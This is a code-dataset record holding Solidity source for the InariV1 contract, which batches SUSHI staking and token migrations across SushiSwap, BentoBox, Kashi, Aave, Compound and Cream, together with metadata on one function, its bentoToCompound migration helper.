▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice Fallback for received ETH - SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
receive() external payable { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
bento.deposit(IERC20(sushiBar), address(this), msg.sender, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) {
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.safeBalanceOfSelf()); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice Simple SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice Simple SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).safeBalanceOfSelf();
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
pair.swap(amountOut, 0, to, "");
}
}
} | /// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | NatSpecSingleLine | bentoToCompound | function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
| /// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`. | NatSpecSingleLine | v0.7.6+commit.7338295f | GNU GPLv2 | ipfs://89a5125d850fb87a89b52e2cb580c7d062e507e61b962188e0983cbea998b8cd | {
"func_code_index": [
17304,
17891
]
} | 11,793 |
InariV1 | @boringcrypto/boring-solidity/contracts/BoringBatchable.sol | 0x195e8262aa81ba560478ec6ca4da73745547073f | Solidity | InariV1 | contract InariV1 is BoringBatchableWithDai, SushiZap {
using SafeMath for uint256;
using BoringERC20 for IERC20;
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IMasterChefV2 constant masterChefv2 = IMasterChefV2(0xEF0881eC094552b2e128Cf945EF17a6752B4Ec5d); // SUSHI MasterChef v2 contract
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
/// @notice Initialize this Inari contract.
constructor() {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].safeApprove(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/**********
TKN HELPERS
**********/
function withdrawToken(IERC20 token, address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.safeBalanceOfSelf());
}
/***********
CHEF HELPERS
***********/
function depositToMasterChefv2(uint256 pid, uint256 amount, address to) external {
masterChefv2.deposit(pid, amount, to);
}
function balanceToMasterChefv2(uint256 pid, address to) external {
IERC20 lpToken = masterChefv2.lpToken(pid);
masterChefv2.deposit(pid, lpToken.safeBalanceOfSelf(), to);
}
/// @notice Liquidity zap into CHEF.
function zapToMasterChef(
address to,
address _FromTokenContractAddress,
uint256 _amount,
uint256 _minPoolTokens,
uint256 pid,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = masterChefv2.lpToken(pid);
LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
masterChefv2.deposit(pid, LPBought, to);
}
/************
KASHI HELPERS
************/
function assetToKashi(IKashiBridge kashiPair, address to, uint256 amount) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = kashiPair.addAsset(to, true, amount);
}
function assetToKashiChef(uint256 pid, uint256 amount, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
asset.safeTransferFrom(msg.sender, address(bento), amount);
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), amount, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, amount);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceToKashi(IKashiBridge kashiPair, address to) external returns (uint256 fraction) {
IERC20 asset = kashiPair.asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = kashiPair.addAsset(to, true, balance);
}
function assetBalanceToKashiChef(uint256 pid, address to) external returns (uint256 fraction) {
address kashiPair = address(masterChefv2.lpToken(pid));
IERC20 asset = IKashiBridge(kashiPair).asset();
uint256 balance = asset.safeBalanceOfSelf();
IBentoBridge(bento).deposit(asset, address(bento), address(kashiPair), balance, 0);
fraction = IKashiBridge(kashiPair).addAsset(address(this), true, balance);
masterChefv2.deposit(pid, fraction, to);
}
function assetBalanceFromKashi(address kashiPair, address to) external returns (uint256 share) {
share = IKashiBridge(kashiPair).removeAsset(to, IERC20(kashiPair).safeBalanceOfSelf());
}
/// @notice Liquidity zap into KASHI.
function zapToKashi(
address to,
address _FromTokenContractAddress,
IKashiBridge kashiPair,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 fraction) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
IERC20 _pairAddress = kashiPair.asset();
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
address(_pairAddress),
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, address(_pairAddress), LPBought);
_pairAddress.safeTransfer(address(bento), LPBought);
IBentoBridge(bento).deposit(_pairAddress, address(bento), address(kashiPair), LPBought, 0);
fraction = kashiPair.addAsset(to, true, LPBought);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).safeBalanceOfSelf(), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(bento)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(bento), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).safeBalanceOfSelf(), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).safeBalanceOfSelf(), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.safeBalanceOfSelf(), 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256 LPBought) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
}
/// @notice Liquidity unzap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiSwap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).safeBalanceOfSelf(), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.safeBalanceOfSelf());
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).safeBalanceOfSelf());
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.safeBalanceOfSelf(), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).safeBalanceOfSelf()); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).safeBalanceOfSelf(), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).safeBalanceOfSelf()); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).safeBalanceOfSelf()); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).safeBalanceOfSelf(), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).safeBalanceOfSelf()); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.safeBalanceOfSelf()); // transfer resulting SUSHI to `to`
}
/*
